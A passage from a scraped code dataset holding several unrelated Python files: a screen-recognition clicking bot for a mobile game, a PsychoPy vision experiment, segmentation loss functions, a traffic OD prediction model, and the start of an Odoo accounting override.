self.click(localhost[0]+250+self.x,localhost[1]+self.y+20)\n        time.sleep(5)\n        localhost = self.zuobiao(self.zhibiao)\n        if localhost is not None:\n            self.click(localhost[0]+self.x-10,localhost[1]+self.y+128)#进入丹炉\n            time.sleep(1)\n            self.click(localhost[0]+self.x-10,localhost[1]+self.y+168)#进入丹炉配置\n            time.sleep(1)\n        localhost = self.zuobiao(self.liandankefenpei)\n        #选择炼丹分配人物\n        if localhost is not None:\n            self.zuobiao(self.liandanxuanze)\n            self.zuobiao(self.queren)\n            time.sleep(1)\n        #炼丹丹药选择\n        localhost = self.zuobiao(self.danyao)\n        if localhost is not None:\n            self.zuobiao(self.danyaolianzhi)\n            localhost = self.zuobiao(self.danyaodi)\n            if localhost is not None:\n                self.click(localhost[0]+self.x+34,localhost[1]+self.y+16)#丹炉炼制调制最低\n                localhost = self.zuobiao(self.liandanqueren)\n                pyautogui.moveTo(localhost[0]+self.x, localhost[1]-50+self.y)\n                pyautogui.mouseDown(button='left')\n                end_x, end_y = (localhost[0]+61+self.x, localhost[1]-50+self.y)  # 指定结束点位置\n                pyautogui.moveTo(end_x, end_y, duration=1)  # 移动鼠标到结束点位置\n                pyautogui.PAUSE = 1  # 等待一段时间\n                pyautogui.mouseUp(button='left')  # 松开鼠标左键\n                self.click(end_x+60,end_y)#点击边缘\n        self.zuobiao(self.tuichu)\n        time.sleep(0.5)\n        self.zuobiao(self.renwu)#返回任务\n\n    #访客\n    def fangkes(self):\n        localhost = self.zuobiao(self.fangke)\n        if localhost is None:\n            self.zuobiao(self.fangke)\n        time.sleep(3)\n        while True:\n            print(\"进入访客\")\n            localhost = self.zuobiao(self.fangkewenhao)\n            if localhost is not None:\n                break\n            else:\n                localhost = self.zuobiao(self.fangkewenhao1)\n                if localhost is not None:\n                    break\n        time.sleep(1)\n        while True:\n            #连续对话(普通)\n            print(\"访客连续对话\")\n            localhost = self.zuobiao(self.fangkejixu)\n            if localhost is None:\n                print(\"访客结束\")\n                break\n            #当出现问题时(随机点击一个问题)\n            localhost = self.zuobiao(self.fangkewenti)\n            if localhost is not None:\n                self.zuobiao(self.queren)\n            localhost = self.zuobiao(self.fangkewenti1)\n            if localhost is not None:\n                self.zuobiao(self.queren)\n            localhost = self.zuobiao(self.fangkezhandou)\n            if localhost is not None:\n                print(\"进入访客战斗\")\n                time.sleep(8)\n                localhost = self.zuobiao(self.tiaoguo)\n                if localhost is None:\n                    self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])#手动点击空白处(返回到主页)\n                time.sleep(3)\n        locahost = self.zuobiao(self.zhuye)\n        if locahost is not None:\n            self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1]) #手动退出弹窗\n        \n        \n    #斗技\n    def doujis(self):\n        time.sleep(2)\n        for i in range(3):\n            #判断是否过了十点的挑战\n            locahost = self.zuobiao(self.wanshangtiaozhan)\n            if locahost is not None:\n                    self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1]) #手动返回\n                    return\n            #点击挑战\n            locahost = self.zuobiao(self.tiaozhan)\n            if locahost is None:\n                self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1])\n                return\n            #选择挑战人物\n            self.zuobiao(self.tiaozhan1)\n            time.sleep(10)\n            #循环查找是否通过挑战\n            while True:\n                print(\"进入斗技\")\n                locahost = self.zuobiao(self.tiaoguo)\n                if locahost is not None:\n                    break\n            time.sleep(3)\n        #返回到主页\n        locahost = self.zuobiao(self.fanhui)\n        if locahost is None:\n            self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1]) #手动返回\n        time.sleep(3)\n        #如果有主页弹窗就会取消掉\n        locahost = self.zuobiao(self.zhuye)\n        if locahost is not None:\n            self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1]) #手动退出弹窗\n    \n    #突破\n    def tupos(self):\n        #查找破镜按钮\n        localhost = self.zuobiao(self.pojing)\n        print(\"有突破:\",localhost)\n        if localhost is None:\n            self.click(self.tupozuobiao[0],self.tupozuobiao[1])\n        self.zuobiao(self.querentupo)\n        #如果遇到成功率不足\n        self.zuobiao(self.queren)\n        #跳过突破\n        localhost = self.zuobiao(self.tiaoguo)\n        if localhost is not None:\n            self.click(localhost[0]+self.x,localhost[1]+self.y)\n            time.sleep(2)\n            self.click(localhost[0]+self.x,localhost[1]+self.y)\n        else:\n            #手动跳过\n            self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])\n            self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])\n    \n    #查找图片是否存在\n    def find_image_location(self,large_image, small_image, threshold=0.9):\n        w, h = small_image.shape[::2]\n        res = cv2.matchTemplate(large_image, small_image, cv2.TM_CCOEFF_NORMED)\n        loc = np.where(res >= threshold)\n        # 获取匹配结果中的最大值和位置\n        min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)\n        top_left = max_loc\n        bottom_right = (top_left[0] + w, top_left[1] + h)\n        # 计算小图在大图中的中心点坐标\n        center_x = int((top_left[0] + bottom_right[0]) / 2)\n        center_y = int((top_left[1] + bottom_right[1]) / 2)\n        \n        if len(loc[0]) == 0:\n            return None\n\n        #显示每个阶段图片\n        # cv2.rectangle(large_image, top_left, bottom_right, (0, 0, 255), 2)\n        # cv2.imshow('Large Image', large_image)\n        # cv2.waitKey(0)\n        # cv2.destroyAllWindows()\n        return center_x,center_y\n    \n    #坐标\n    def zuobiao(self,small_image):        \n        #截图当前\n        large_image = self.jietu()\n        location = self.find_image_location(large_image,small_image)\n        if location is None:\n            print(\"没有找到\")\n        else:\n            print(\"找到图片:\", location)\n            self.click(location[0]+self.x,location[1]+self.y)\n        return location\n        \n    #点击\n    def click(self,x,y):\n        pyautogui.moveTo(x, y)\n        pyautogui.click()\n        time.sleep(0.5)\n        \n        \n\nif __name__ == \"__main__\":\n    dao = daotianlu()\n    dao.chazhao()\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n","repo_name":"rkshadow999/daotianlu","sub_path":"道天箓.py","file_name":"道天箓.py","file_ext":"py","file_size_in_byte":16814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33059694254","text":"import pandas as pd\nfrom pandas import DataFrame as df\nimport datetime\nfrom datetime import datetime as dt\nfrom single_trial import *\n\ndef run_experiment(pid):\n  try:\n    print('Loading config_{}.csv...'.format(pid), end='\\r')\n    config = pd.read_csv(\n        os.path.join(PATH_INPUT, 'config_{}.csv'.format(pid)),\n        keep_default_na=False).to_dict(orient='records')\n    print('Loading config_{}.csv...done'.format(pid))\n\n    print('Loading block_parameters_{}.csv...'.format(pid), end='\\r')\n    block_params = pd.read_csv(\n        os.path.join(PATH_INPUT, 'block_parameters_{}.csv'.format(pid)),\n        keep_default_na=False).to_dict(orient='records')\n    print('Loading block_parameters_{}.csv...done'.format(pid))\n\n    print('Loading experimental_parameters_{}.csv...'.format(pid), end='\\r')\n    experimental_params = pd.read_csv(\n        os.path.join(PATH_INPUT, 'experimental_parameters_{}.csv'.format(pid)),\n        keep_default_na=False).to_dict(orient='records')\n    print('Loading experimental_parameters_{}.csv...done'.format(pid))\n  except BaseException as error:\n    exit('\\n{}\\n{}\\n{}\\n{}'.format(error,\n                                  '#######################',\n                                  '### EXITING PROGRAM ###',\n                                  '#######################'))\n  stims = STIMULI\n  try:\n    print('Loading calibration_parameters_{}.csv...'.format(pid), end='\\r')\n    calibration_params = pd.read_csv(\n        os.path.join(PATH_INPUT, 'calibration_parameters_{}.csv'.format(pid)),\n        keep_default_na=False).to_dict(orient='records')[0]\n    print('Loading calibration_parameters_{}.csv...done\\n'.format(pid))\n\n    origin_left =  (monitorunittools.pix2deg(calibration_params['x_offset_LE_final'], MONITOR),\n                    monitorunittools.pix2deg(calibration_params['y_offset_LE_final'], MONITOR))\n    origin_right = (monitorunittools.pix2deg(calibration_params['x_offset_RE_final'], MONITOR),\n                    monitorunittools.pix2deg(calibration_params['y_offset_RE_final'], MONITOR))\n    stims = init_stimuli(origin_left, origin_right)\n  except BaseException as error:\n    print('calibration_parameters_{}.csv not found! Using default values.\\n'.format(pid))\n\n  os.makedirs(PATH_OUTPUT, exist_ok=True)\n  config_out = os.path.join(PATH_OUTPUT, 'out_config_{}.csv'.format(pid))\n  block_out = os.path.join(PATH_OUTPUT, 'out_block_parameters_{}.csv'.format(pid))\n  exp_out = os.path.join(PATH_OUTPUT, 'out_experimental_parameters_{}.csv'.format(pid))\n\n  config_df = df.from_dict(config)\n  config_df.to_csv(config_out, mode='w+', index=False,\n                   header=not os.path.exists(config_out))\n\n  iteration = block_number = block_start_time = inter_block_pause_duration = 0\n  last_block = block_params[-1]['block']\n\n  show_instructions()\n  show_pre_trial_countdown(stims)\n\n  print(origin_left)\n\n  for exp_param in experimental_params:\n    iteration += 1\n    trial = Trial(stims, exp_param, iteration)\n\n    if trial.block > block_number:\n      if not block_number == 0:\n        block_end_time = dt.now().strftime('%Y-%m-%d %H:%M:%S.%f')\n        block_params[block_number-1]['end_time'] = block_end_time\n        block_df = df.from_dict(block_params)\n        block_df.to_csv(block_out, mode='w+', index=False,\n                        header=not os.path.exists(block_out))\n        print('### BLOCK {} END: {}'.format(block_number, block_end_time))\n        show_inter_block_countdown(inter_block_pause_duration)\n        show_pre_trial_countdown(stims)\n\n      inter_block_pause_duration = block_params[block_number]['inter_block_pause_duration'] \n      block_start_time = dt.now().strftime('%Y-%m-%d %H:%M:%S.%f')\n      block_params[block_number]['start_time'] = block_start_time\n      block_df = df.from_dict(block_params)\n      block_df.to_csv(block_out, mode='w+', index=False,\n                      header=not os.path.exists(block_out))\n      block_number = trial.block\n      print('### BLOCK {} BEGIN: {}'.format(block_number, block_start_time))\n \n    response = run_trial(trial)\n\n    if response:\n      exp_param['response'] = response[0].name\n      exp_param['response_time_ms'] = [response[0].rt * 1000]\n    else:\n      exp_param['response'] = 'NA'\n      exp_param['response_time_ms'] = ['NA']\n\n    exp_df = df.from_dict(exp_param)\n    exp_df.to_csv(exp_out, mode='a+', index=False,\n                  header=not os.path.exists(exp_out))\n\n  block_end_time = dt.now().strftime('%Y-%m-%d %H:%M:%S.%f')\n  block_params[block_number-1]['end_time'] = block_end_time\n  block_df = df.from_dict(block_params)\n  block_df.to_csv(block_out, mode='w+', index=False,\n                  header=not os.path.exists(block_out))\n  print('### BLOCK {} END: {}'.format(block_number, block_end_time))\n\n  print('Experiment completed:', block_end_time)\n  print('Results written to:', PATH_OUTPUT)\n\n  show_completion_message()\n\ndef show_instructions():\n  print('### EXPERIMENT BEGIN: {}'.format(dt.now().strftime('%Y-%m-%d %H:%M:%S.%f')))\n  print('AWAITING RESPONSE', end='\\r')\n  instructions = visual.TextBox2(WINDOW, text=INSTRUCTIONS,\n                                 alignment='center', color='black', bold=True,\n                                 letterHeight=28, size=[99999, None])\n  instructions.draw()\n  WINDOW.flip()\n\n  KEYBOARD.clearEvents()\n  response = KEYBOARD.waitKeys(keyList=['space'], waitRelease=False)\n  print('Response: {} {}'.format(response[0].name, dt.now().strftime('%Y-%m-%d %H:%M:%S.%f')))\n  WINDOW.flip()\n  core.wait(0.5)\n\ndef show_pre_trial_countdown(stims):\n  countdown_stim_L = visual.TextStim(WINDOW)\n  countdown_stim_R = visual.TextStim(WINDOW)\n  countdown_stim_L.bold = countdown_stim_R.bold = True\n  countdown_stim_L.colorSpace = countdown_stim_R.colorSpace = 'rgb'\n  countdown_stim_L.color = countdown_stim_R.color = 'black'\n  countdown_stim_L.units = countdown_stim_R.units = 'deg'\n  countdown_stim_L.size = countdown_stim_R.size = R2_SIZE\n  countdown_stim_L.pos = [stims['left'][0]['x'], stims['left'][0]['y']]\n  countdown_stim_R.pos = [stims['right'][0]['x'], stims['right'][0]['y']]\n  \n  for i in range(3, 0, -1):\n    print('COUNTDOWN:', datetime.timedelta(0, i), end='\\r')\n    countdown_stim_L.text = countdown_stim_R.text = '{}...'.format(i)\n    countdown_stim_L.draw()\n    countdown_stim_R.draw()\n    WINDOW.flip()\n    core.wait(1)\n  print('      BEGIN       ', end='\\r')\n\n  countdown_stim_L.text = countdown_stim_R.text = 'BEGIN'\n  countdown_stim_L.draw()\n  countdown_stim_R.draw()\n  WINDOW.flip()\n  core.wait(1)\n\n  WINDOW.flip()\n  core.wait(1)\n\ndef show_inter_block_countdown(secs):\n  print('### INTER-BLOCK PAUSE: {} ms'.format(secs))\n  pause_message = visual.TextBox2(WINDOW, text='',\n                                  alignment='center', color='black', bold=True,\n                                  letterHeight=32, size=[99999, None])\n  KEYBOARD.clearEvents()\n\n  for i in range(round(secs/1000), -1, -1):\n    response = KEYBOARD.getKeys(keyList=['space'], waitRelease=False)\n    if response: break\n\n    time_left = datetime.timedelta(0, i)\n    print('COUNTDOWN: {}'.format(time_left), end='\\r')\n    pause_message.text = 'You may now take a short break.\\n\\nREMAINING TIME: {}\\n\\nPress [SPACE BAR] to continue now.'.format(time_left)\n    pause_message.draw()\n    WINDOW.flip()\n    core.wait(secs=1, hogCPUperiod=1)\n  print()\n\n  WINDOW.flip()\n  core.wait(1)\n\ndef show_completion_message():\n  message = 'Thank you for your time.\\n\\nThe experiment is now over.\\n\\nPress [SPACE BAR] to end this session.'\n  completion_message = visual.TextBox2(WINDOW, text=message,\n                                 alignment='center', color='black', bold=True,\n                                 letterHeight=32, size=[99999, None])\n  completion_message.draw()\n  WINDOW.flip()\n\n  KEYBOARD.clearEvents()\n  KEYBOARD.waitKeys(keyList=['space'], waitRelease=False)\n  WINDOW.flip()\n  core.wait(0.5)","repo_name":"omair-a-khan/binocular-binding-window","sub_path":"experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":7851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"23035842173","text":"import torch\r\nimport torch.nn.functional as F\r\nimport torch.nn as nn\r\nimport numpy as np\r\n\r\nclass BinaryDiceLoss(nn.Module):\r\n    def __init__(self, smooth=1, p=2, reduction='mean'):\r\n        super(BinaryDiceLoss, self).__init__()\r\n        self.smooth = smooth\r\n        self.p = p\r\n        self.reduction = reduction\r\n\r\n    def forward(self, predict, target):\r\n        assert predict.shape[0] == target.shape[0], \"predict & target batch size don't match\"\r\n        predict = predict.contiguous().view(predict.shape[0], -1)\r\n        target = target.contiguous().view(target.shape[0], -1)\r\n\r\n        num = torch.sum(torch.mul(predict, target), dim=1)\r\n        den = torch.sum(predict, dim=1) + torch.sum(target, dim=1) + self.smooth\r\n\r\n        dice_score = 2*num / den\r\n        loss_avg = 1 - dice_score.mean()\r\n\r\n        return loss_avg\r\n\r\nclass DiceLoss4BraTS(nn.Module):\r\n    def __init__(self, weight=None, ignore_index=None, **kwargs):\r\n        super(DiceLoss4BraTS, self).__init__()\r\n        self.kwargs = kwargs\r\n        self.weight = weight\r\n        self.ignore_index = ignore_index\r\n\r\n    def forward(self, predict, target):\r\n        assert predict.shape == target.shape, 'predict %s & target %s shape do not match' % (predict.shape, target.shape)\r\n        dice = BinaryDiceLoss(**self.kwargs)\r\n        total_loss = 0\r\n        predict = F.sigmoid(predict)\r\n\r\n        for i in range(target.shape[1]):\r\n            if i != self.ignore_index:\r\n                dice_loss = dice(predict[:, i], target[:, i])\r\n                if self.weight is not None:\r\n                    assert self.weight.shape[0] == target.shape[1], \\\r\n                        'Expect weight shape [{}], get[{}]'.format(target.shape[1], self.weight.shape[0])\r\n                    dice_loss *= self.weights[i]\r\n                total_loss += dice_loss\r\n\r\n        return total_loss/(target.shape[1]-1 if self.ignore_index!=None else target.shape[1])\r\n\r\n\r\nclass BCELoss4BraTS(nn.Module):\r\n    def __init__(self, ignore_index=None, **kwargs):\r\n        super(BCELoss4BraTS, self).__init__()\r\n        self.kwargs = kwargs\r\n        self.ignore_index = ignore_index\r\n        self.criterion = nn.BCEWithLogitsLoss()\r\n\r\n    def weighted_BCE_cross_entropy(self, output, target, weights = None):\r\n        if weights is not None:\r\n            assert len(weights) == 2\r\n            output = torch.clamp(output, min=1e-7, max=1-1e-7)\r\n            bce = weights[1] * (target * torch.log(output)) + \\\r\n                  weights[0] * ((1-target) * torch.log((1-output)))\r\n        else:\r\n            output = torch.clamp(output, min=1e-3, max=1 - 1e-3)\r\n            bce = target * torch.log(output) + (1-target) * torch.log((1-output))\r\n        return torch.neg(torch.mean(bce))\r\n\r\n    def forward(self, predict, target):\r\n        assert predict.shape == target.shape, 'predict & target shape do not match'\r\n        total_loss = 0\r\n        for i in range(target.shape[1]):\r\n            if i != self.ignore_index:\r\n                bce_loss = self.criterion(predict[:, i], target[:, i])\r\n                total_loss += bce_loss\r\n\r\n        return total_loss.mean()\r\n\r\n\r\nclass BCELossBoud(nn.Module):\r\n    def __init__(self, weight=None, ignore_index=None, **kwargs):\r\n        super(BCELossBoud, self).__init__()\r\n        self.kwargs = kwargs\r\n        self.weight = weight\r\n        self.ignore_index = ignore_index\r\n        self.criterion = nn.BCEWithLogitsLoss()\r\n\r\n    def weighted_BCE_cross_entropy(self, output, target, weights = None):\r\n        if weights is not None:\r\n            assert len(weights) == 2\r\n            output = torch.clamp(output, min=1e-3, max=1-1e-3)\r\n            bce = weights[1] * (target * torch.log(output)) + \\\r\n                  weights[0] * ((1-target) * torch.log((1-output)))\r\n        else:\r\n            output = torch.clamp(output, min=1e-3, max=1 - 1e-3)\r\n            bce = target * torch.log(output) + (1-target) * torch.log((1-output))\r\n        return torch.neg(torch.mean(bce))\r\n\r\n    def forward(self, predict, target):\r\n\r\n        bs, category, depth, width, heigt = target.shape\r\n        bce_loss = []\r\n        for i in range(predict.shape[1]):\r\n            pred_i = predict[:,i]\r\n            targ_i = target[:,i]\r\n            tt = np.log(depth * width * heigt / (target[:, i].cpu().data.numpy().sum()+1))\r\n            bce_i = self.weighted_BCE_cross_entropy(pred_i, targ_i, weights=[1, tt])\r\n            bce_loss.append(bce_i)\r\n\r\n        bce_loss = torch.stack(bce_loss)\r\n        total_loss = bce_loss.mean()\r\n        return total_loss","repo_name":"jianpengz/ConResNet","sub_path":"utils/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":4525,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"18"}
{"seq_id":"21158706448","text":"import numpy as np\nimport torch\nimport torch.nn as nn\n\nfrom libcity.model import loss\nfrom libcity.model.abstract_traffic_state_model import AbstractTrafficStateModel\n\n\nclass SLSTM(nn.Module):\n    def __init__(self, feature_dim, hidden_dim, device, p_interval):\n        super(SLSTM, self).__init__()\n        self.hidden_dim = hidden_dim\n        self.cell_dim = hidden_dim\n        self.p_interval = p_interval\n        self.f_gate = nn.Sequential(\n            nn.Linear(feature_dim + hidden_dim, self.cell_dim),\n            nn.Softmax(dim=1)\n        )\n        self.i_gate = nn.Sequential(\n            nn.Linear(feature_dim + hidden_dim, self.cell_dim),\n            nn.Softmax(dim=1)\n        )\n        self.o_gate = nn.Sequential(\n            nn.Linear(feature_dim + hidden_dim, self.hidden_dim),\n            nn.Softmax(dim=1)\n        )\n        self.g_gate = nn.Sequential(\n            nn.Linear(feature_dim + hidden_dim, self.cell_dim),\n            nn.Tanh()\n        )\n\n        self.tanh = nn.Tanh()\n\n        self.device = device\n\n    def forward(self, x):\n        # (T, B * N, 2E)\n        h = torch.zeros((x.shape[1], self.hidden_dim)).unsqueeze(dim=0).repeat(self.p_interval, 1, 1).to(self.device)\n        # (P, B * N, 2E)\n        c = torch.zeros((x.shape[1], self.hidden_dim)).unsqueeze(dim=0).repeat(self.p_interval, 1, 1).to(self.device)\n        # (P, B * N, 2E)\n\n        T = x.shape[0]\n\n        for t in range(T):\n            x_ = x[t, :, :]  # (B * N, 2E)\n            x_ = torch.cat((x_, h[t % self.p_interval]), 1)  # (B * N, 2E + 2E)\n\n            f = self.f_gate(x_)  # (B * N, 2E)\n\n            i = self.i_gate(x_)  # (B * N, 2E)\n\n            o = self.o_gate(x_)  # (B * N, 2E)\n\n            g = self.g_gate(x_)  # (B * N, 2E)\n\n            c = f * c[t % self.p_interval] + i * g  # (B * N, 2E)\n\n            c = self.tanh(c)  # (B * N, 2E)\n\n            h[t % self.p_interval] = o * c  # (B * N, 2E)\n\n        return h[(T - 1) % self.p_interval]  # (B * N, 2E)\n\n\nclass MutiLearning(nn.Module):\n    def __init__(self, fea_dim, device):\n        super(MutiLearning, self).__init__()\n        self.fea_dim = fea_dim\n        self.transition = nn.Parameter(data=torch.randn(self.fea_dim, self.fea_dim).to(device), requires_grad=True)\n        self.project_in = nn.Parameter(data=torch.randn(self.fea_dim, 1).to(device), requires_grad=True)\n        self.project_out = nn.Parameter(data=torch.randn(self.fea_dim, 1).to(device), requires_grad=True)\n\n    def forward(self, x: torch.Tensor):\n        # (B, N, 2E)\n        x_t = x.permute(0, 2, 1)  # (B, 2E, N)\n\n        x_in = torch.matmul(x, self.project_in)  # (B, N, 1)\n\n        x_out = torch.matmul(x, self.project_out)  # (B, N, 1)\n\n        x = torch.matmul(x, self.transition)\n        # (B, N, 2E)\n        x = torch.matmul(x, x_t)\n        # (B, N, N)\n\n        x = x.unsqueeze(dim=-1).unsqueeze(dim=1)\n        x_in = x_in.unsqueeze(dim=-1).unsqueeze(dim=1)\n        x_out = x_out.unsqueeze(dim=-1).unsqueeze(dim=1)\n\n        return x, x_in, x_out\n\n\nclass GraphConvolution(nn.Module):\n    def __init__(self, feature_dim, embed_dim, device, use_bias=False):\n        super(GraphConvolution, self).__init__()\n        self.feature_dim = feature_dim\n        self.embed_dim = embed_dim\n        self.activation = nn.ReLU()\n\n        weight = torch.randn((self.feature_dim, self.embed_dim))\n        self.weight = nn.Parameter(data=weight.to(device), requires_grad=True)\n        if use_bias:\n            self.bias = nn.Parameter(data=torch.zeros(self.embed_dim).to(device), requires_grad=True)\n        else:\n            self.bias = None\n\n    def forward(self, x, a):\n        # (B, N, N)\n        embed = torch.matmul(a, x)\n        # (B, N, N)\n        embed = torch.matmul(embed, self.weight)\n        # (B, N, E)\n        if self.bias is not None:\n            embed += self.bias\n\n        return embed\n\n\nclass GCN(nn.Module):\n    def __init__(self, feature_dim, embed_dim, device):\n        super(GCN, self).__init__()\n        self.feature_dim = feature_dim\n        self.embed_dim = embed_dim\n        self.gcn = nn.ModuleList([\n            GraphConvolution(feature_dim, embed_dim, device),\n            GraphConvolution(embed_dim, embed_dim, device)\n        ])\n\n    def forward(self, input_seq, adj_seq):\n        embed = []\n        for i in range(input_seq.shape[1]):\n            frame = input_seq[:, i, :, :]  # (B, N, N)\n            adj = adj_seq[:, i, :, :]  # (B, N, N)\n\n            for m in self.gcn:\n                frame = m(frame, adj)\n            # (B, N, E)\n\n            embed.append(frame)\n\n        return torch.stack(embed, dim=1)\n\n\ndef generate_geo_adj(distance_matrix: np.matrix):\n    distance_matrix = torch.Tensor(distance_matrix)  # (N, N)\n    distance_matrix = distance_matrix * distance_matrix\n    sum_cost_vector = torch.sum(distance_matrix, dim=1, keepdim=True)  # (N, 1)\n    weight_matrix = distance_matrix / sum_cost_vector\n    weight_matrix[range(weight_matrix.shape[0]), range(weight_matrix.shape[1])] = 1\n    return weight_matrix  # (N, N)\n\n\ndef generate_semantic_adj(demand_matrix, device):\n    # (B, T, N, N)\n    adj_matrix = demand_matrix.clone()\n    in_matrix = adj_matrix.permute(0, 1, 3, 2)\n\n    adj_matrix[adj_matrix > 0] = 1\n\n    adj_matrix[in_matrix > 0] = 1\n\n    degree_vector = torch.sum(adj_matrix, dim=3, keepdim=True)\n    # (B, T, N, 1)\n\n    sum_degree_vector = torch.matmul(adj_matrix, degree_vector)\n    # (B, T, N, 1)\n\n    weight_matrix = torch.matmul(1 / (sum_degree_vector + 1e-3), degree_vector.permute((0, 1, 3, 2)))  # (B, T, N, N)\n\n    weight_matrix[:, :, range(weight_matrix.shape[2]), range(weight_matrix.shape[3])] = 1\n\n    return weight_matrix\n\n\nclass GEML(AbstractTrafficStateModel):\n    def __init__(self, config, data_feature):\n        super().__init__(config, data_feature)\n        self.num_nodes = self.data_feature.get('num_nodes')\n        self._scaler = self.data_feature.get('scaler')\n        self.output_dim = config.get('output_dim')\n        self.device = config.get('device', torch.device('cpu'))\n        self.input_window = config.get('input_window', 1)\n        self.output_window = config.get('output_window', 1)\n\n        self.p_interval = config.get('p_interval', 1)\n        self.embed_dim = config.get('embed_dim')\n        self.batch_size = config.get('batch_size')\n        self.loss_p0 = config.get('loss_p0', 0.5)\n        self.loss_p1 = config.get('loss_p1', 0.25)\n        self.loss_p2 = config.get('loss_p2', 0.25)\n\n        dis_mx = self.data_feature.get('adj_mx')\n        self.geo_adj = generate_geo_adj(dis_mx) \\\n            .repeat(self.batch_size * self.input_window, 1) \\\n            .reshape((self.batch_size, self.input_window, self.num_nodes, self.num_nodes)) \\\n            .to(self.device)\n\n        self.GCN_ge = GCN(self.num_nodes, self.embed_dim, self.device)\n        self.GCN_se = GCN(self.num_nodes, self.embed_dim, self.device)\n\n        # self.LSTM = nn.LSTM(2 * self.embed_dim, 2 * self.embed_dim)\n        self.LSTM = SLSTM(2 * self.embed_dim, 2 * self.embed_dim, self.device, self.p_interval)\n\n        self.mutiLearning = MutiLearning(2 * self.embed_dim, self.device)\n\n    def forward(self, batch):\n        x = batch['X'].squeeze(dim=-1)\n        # (B, T, N, N)\n        x_ge_embed = self.GCN_ge(x, self.geo_adj[:x.shape[0], ...])\n        # (B, T, N, E)\n\n        x_se_embed = self.GCN_se(x, self.semantic_adj)\n\n        # (B, T, N, E)\n        x_embed = torch.cat([x_ge_embed, x_se_embed], dim=3)\n        # (B, T, N, 2E)\n        x_embed = x_embed.permute(1, 0, 2, 3)\n        # (T, B, N, 2E)\n        x_embed = x_embed.reshape((self.input_window, -1, 2 * self.embed_dim))\n        # (T, B * N, 2E)\n\n        # _, (h, _) = self.LSTM(x_embed)\n        # x_embed_pred = h[0].reshape((self.batch_size, -1, 2 * self.embed_dim))\n        x_embed_pred = self.LSTM(x_embed).reshape((x.shape[0], -1, 2 * self.embed_dim))\n        # (B, N, 2E)\n\n        out = self.mutiLearning(x_embed_pred)\n\n        return out\n\n    def calculate_loss(self, batch):\n        y_true = batch['y']  # (B, TO, N, N, 1)\n        y_in_true = torch.sum(y_true, dim=-2, keepdim=True)  # (B, TO, N, 1)\n        y_out_true = torch.sum(y_true.permute(0, 1, 3, 2, 4), dim=-2, keepdim=True)  # (B, TO, N, 1)\n        y_pred, y_in, y_out = self.predict(batch)\n\n        y_true = self._scaler.inverse_transform(y_true[..., :self.output_dim])\n        y_in_true = self._scaler.inverse_transform(y_in_true[..., :self.output_dim])\n        y_out_true = self._scaler.inverse_transform(y_out_true[..., :self.output_dim])\n\n        y_pred = self._scaler.inverse_transform(y_pred[..., :self.output_dim])\n        y_in = self._scaler.inverse_transform(y_in[..., :self.output_dim])\n        y_out = self._scaler.inverse_transform(y_out[..., :self.output_dim])\n\n        loss_pred = loss.masked_mse_torch(y_pred, y_true)\n        loss_in = loss.masked_mse_torch(y_in, y_in_true)\n        loss_out = loss.masked_mse_torch(y_out, y_out_true)\n        return self.loss_p0 * loss_pred + self.loss_p1 * loss_in + self.loss_p2 * loss_out\n\n    def predict(self, batch):\n        x = batch['X']  # (B, T, N, N, 1)\n        self.semantic_adj = generate_semantic_adj(x.squeeze(dim=-1), self.device)\n        assert x.shape[-1] == 1 or print(\"The feature_dim must be 1\")\n        y_pred = []\n        y_in_pred = []\n        y_out_pred = []\n        x_ = x.clone()\n        for i in range(self.output_window):\n            batch_tmp = {'X': x_}\n            y_, y_in_, y_out_ = self.forward(batch_tmp)  # (B, 1, N, N, 1)\n            y_pred.append(y_.clone())\n            y_in_pred.append(y_in_.clone())\n            y_out_pred.append(y_out_.clone())\n\n            x_ = torch.cat([x_[:, 1:, :, :, :], y_], dim=1)\n\n        y_pred = torch.cat(y_pred, dim=1)  # (B, TO, N, N, 1)\n        y_in_pred = torch.cat(y_in_pred, dim=1)  # (B, TO, N, 1)\n        y_out_pred = torch.cat(y_out_pred, dim=1)  # (B, TO, N, 1)\n        return y_pred, y_in_pred, y_out_pred\n","repo_name":"LibCity/Bigscity-LibCity","sub_path":"libcity/model/traffic_od_prediction/GEML.py","file_name":"GEML.py","file_ext":"py","file_size_in_byte":9864,"program_lang":"python","lang":"en","doc_type":"code","stars":644,"dataset":"github-code","pt":"18"}
{"seq_id":"74547587241","text":"from odoo import api, fields, models, _\nfrom odoo.exceptions import ValidationError\nimport logging\nimport time\n\n_logger = logging.getLogger(__name__)\nDF = \"%Y-%m-%d\"\nEPS = 0.00001\n\nclass Posting(models.Model):\n    _inherit = \"wc.posting\"\n\n    #over write close_date operation for fixing f540 issues\n    #this was kind of bug , so overwrite the method by the method below.\n    #the source code was copied , and modified part of it.\n    @api.multi\n    def close_date(self):\n        start = time.time()\n        _logger.debug(\"***#close_date: start\")\n\n        first = True\n        for rec in self:\n            rec.add_details()\n            rec.state = 'closed'\n\n            if first:\n                first = False\n\n                #delete all draft transactions\n                #account transactions\n                trans = self.env['wc.account.transaction'].sudo().search([\n                    ('state','=','draft'),\n                    ('company_id','=',self.env.user.company_id.id)\n                ])\n                _logger.debug(\"*DRAFT trans: %s\", trans)\n                if trans:\n                    #f540 fix\n                    #trans.unlink()\n                    raise ValidationError(_(\"Draft record is remaining in %s! Please confirm or delete it before closing.\") % ('account transactions '))\n\n\n                coll_lines = self.env['wc.collection.line'].sudo().search([\n                    ('state','=','draft'),\n                    ('company_id','=',self.env.user.company_id.id)\n                ])\n                _logger.debug(\"*DRAFT coll lines: %s\", coll_lines)\n                if coll_lines:\n                    #f540 fix\n                    #coll_lines.unlink()\n                    raise ValidationError(_(\"Draft record is remaining in %s! Please confirm or delete it before closing.\") % ('collection line '))\n\n                collection = self.env['wc.collection'].sudo().search([\n       